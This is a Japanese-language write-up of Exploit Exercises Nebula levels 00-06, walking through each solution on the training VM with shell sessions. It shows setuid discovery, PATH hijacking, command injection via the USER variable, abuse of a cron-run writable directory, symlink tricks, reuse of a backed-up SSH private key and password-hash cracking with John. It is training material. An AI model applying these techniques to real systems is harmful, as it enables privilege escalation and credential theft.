Exploit Exercises Nebula Level00-06 writeup
Exploit Exercisesとは
exploit寄りの問題がいっぱい載っているサイトで、問題が入ったVMが配布されている。
Nebula, Protostar, Fusion, Main Sequence, Cloud Roadの5つのコースがあって、今回はNebulaをlevel00-06まで解いた。
Nebulaでは、シェルコードとか書かなさげだし他のコースもやっていきたい。
writeup
Level00
suidがflag00になってるファイルを探す。
level00@nebula:~$ find / -executable -user flag00 2> /dev/null /bin/.../flag00 /home/flag00 /rofs/bin/.../flag00 /rofs/home/flag00 level00@nebula:~$ ls -la /bin/.../ total 8 drwxr-xr-x 2 root root 29 2011-11-20 21:22 . drwxr-xr-x 3 root root 2728 2012-08-18 02:50 .. -rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 flag00 level00@nebula:~$ /bin/.../flag00 Congrats, now run getflag to get your flag!
2> /dev/null で標準エラー出力を捨てれる。
Level01
system("/usr/bin/env echo and now what?")というコードがあるので、偽echoのシンボリックリンクを作ってpathを通す。
level01@nebula:/home/flag01$ ls -la total 13 drwxr-x--- 2 flag01 level01 92 2011-11-20 21:22 . drwxr-xr-x 1 root root 180 2012-08-27 07:18 .. -rw-r--r-- 1 flag01 flag01 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag01 flag01 3353 2011-05-18 02:54 .bashrc -rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01 -rw-r--r-- 1 flag01 flag01 675 2011-05-18 02:54 .profile level01@nebula:/home/flag01$ ./flag01 and now what? level01@nebula:/home/flag01$ cd level01@nebula:~$ ln -s /bin/getflag echo level01@nebula:~$ export PATH=.:$PATH level01@nebula:~$ /home/flag01/flag01 You have successfully executed getflag on a target account
Level02
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));というコードがあるので、いい感じにUSER環境変数を変更する。
level02@nebula:/home/flag02$ ls -la total 13 drwxr-x--- 2 flag02 level02 80 2011-11-20 21:22 . drwxr-xr-x 1 root root 200 2012-08-27 07:18 .. -rw-r--r-- 1 flag02 flag02 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag02 flag02 3353 2011-05-18 02:54 .bashrc -rwsr-x--- 1 flag02 level02 7438 2011-11-20 21:22 flag02 -rw-r--r-- 1 flag02 flag02 675 2011-05-18 02:54 .profile level02@nebula:/home/flag02$ ./flag02 about to call system("/bin/echo level02 is cool") level02 is cool level02@nebula:/home/flag02$ export USER=';getflag;echo' level02@nebula:/home/flag02$ ./flag02 about to call system("/bin/echo ;getflag;echo is cool") You have successfully executed getflag on a target account is cool
Level03
writable.shがcronで数分ごとに実行されている。writable.shはwritable.dないのファイルを読み込むので、それを利用してgetflagを実行する。
level03@nebula:/home/flag03$ getflag getflag is executing on a non-flag account, this doesn't count level03@nebula:/home/flag03$ ls -la total 6 drwxr-x--- 1 flag03 level03 60 2011-11-20 20:39 . drwxr-xr-x 1 root root 260 2012-08-27 07:18 .. -rw-r--r-- 1 flag03 flag03 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag03 flag03 3353 2011-05-18 02:54 .bashrc -rw-r--r-- 1 flag03 flag03 675 2011-05-18 02:54 .profile drwxrwxrwx 1 flag03 flag03 40 2015-05-07 19:24 writable.d -rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh level03@nebula:/home/flag03$ cat writable.sh #!/bin/sh for i in /home/flag03/writable.d/* ; do (ulimit -t 5; bash -x "$i") rm -f "$i" done level03@nebula:/home/flag03$ echo 'getflag > /tmp/log' > ./writable.d/foo level03@nebula:/home/flag03$ cat /tmp/log cat: /tmp/log: No such file or directory level03@nebula:/home/flag03$ cat /tmp/log You have successfully executed getflag on a target account
Level04
tokenという名前のファイルは読み込んでくれないので、シンボリックリンクでごまかす。
level04@nebula:/home/flag04$ ls -la total 13 drwxr-x--- 2 flag04 level04 93 2011-11-20 21:52 . drwxr-xr-x 1 root root 260 2012-08-27 07:18 .. -rw-r--r-- 1 flag04 flag04 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag04 flag04 3353 2011-05-18 02:54 .bashrc -rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04 -rw-r--r-- 1 flag04 flag04 675 2011-05-18 02:54 .profile -rw------- 1 flag04 flag04 37 2011-11-20 21:52 token level04@nebula:/home/flag04$ ./flag04 token You may not access 'token' level04@nebula:/home/flag04$ cd level04@nebula:~$ ln -s /home/flag04/token ./fake level04@nebula:~$ /home/flag04/flag04 ./fake 06508b5e-8909-4f38-b630-fdb148a848a2
Level05
.sshにはアクセスできないけど、backupファイルにはアクセスできるので展開してsshする。
level05@nebula:/home/flag05$ ls -la total 9 drwxr-x--- 1 flag05 level05 80 2015-05-07 15:41 . drwxr-xr-x 1 root root 260 2012-08-27 07:18 .. drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .backup -rw------- 1 flag05 flag05 61 2015-05-07 15:55 .bash_history -rw-r--r-- 1 flag05 flag05 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag05 flag05 3353 2011-05-18 02:54 .bashrc drwx------ 2 flag05 flag05 60 2015-05-07 15:40 .cache -rw-r--r-- 1 flag05 flag05 675 2011-05-18 02:54 .profile drwx------ 2 flag05 flag05 70 2011-11-20 20:13 .ssh level05@nebula:/home/flag05$ cd .backup level05@nebula:/home/flag05/.backup$ ls -la total 2 drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 . drwxr-x--- 1 flag05 level05 80 2015-05-07 15:41 .. -rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz level05@nebula:/home/flag05/.backup$ tar xvf backup-19072011.tgz .ssh/ tar: .ssh: Cannot mkdir: Permission denied .ssh/id_rsa.pub tar: .ssh: Cannot mkdir: Permission denied tar: .ssh/id_rsa.pub: Cannot open: No such file or directory .ssh/id_rsa tar: .ssh: Cannot mkdir: Permission denied tar: .ssh/id_rsa: Cannot open: No such file or directory .ssh/authorized_keys tar: .ssh: Cannot mkdir: Permission denied tar: .ssh/authorized_keys: Cannot open: No such file or directory tar: Exiting with failure status due to previous errors level05@nebula:/home/flag05/.backup$ tar xvf backup-19072011.tgz -C ~/ .ssh/ .ssh/id_rsa.pub .ssh/id_rsa .ssh/authorized_keys level05@nebula:/home/flag05/.backup$ cd level05@nebula:~$ cd .ssh level05@nebula:~/.ssh$ ls authorized_keys id_rsa id_rsa.pub known_hosts level05@nebula:~/.ssh$ ssh -i id_rsa flag05@localhost _ __ __ __ / | / /__ / /_ __ __/ /___ _ / |/ / _ \/ __ \/ / / / / __ `/ / /| / __/ /_/ / /_/ / / /_/ / /_/ |_/\___/_.___/\__,_/_/\__,_/ flag05@nebula:~$ getflag You have successfully executed getflag on a target account
Level06
The flag06 account credentials came from a legacy unix system.とのことなので、johnでpasswordクラック。
level06@nebula:~$ cat /etc/passwd | grep flag06 flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
VMにjohnは入ってなかったのでローカルでやった。
tkmru: ~$ echo 'flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh' > pass.txt tkmru: ~$ john pass.txt Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 AVX-16]) Press 'q' or Ctrl-C to abort, almost any other key for status hello (flag06) 1g 0:00:00:00 100% 2/3 50.00g/s 37650p/s 37650c/s 37650C/s 123456..marley Use the "--show" option to display all of the cracked passwords reliably Session completed
level06@nebula:~$ su flag06 Password: sh-4.2$ getflag You have successfully executed getflag on a target account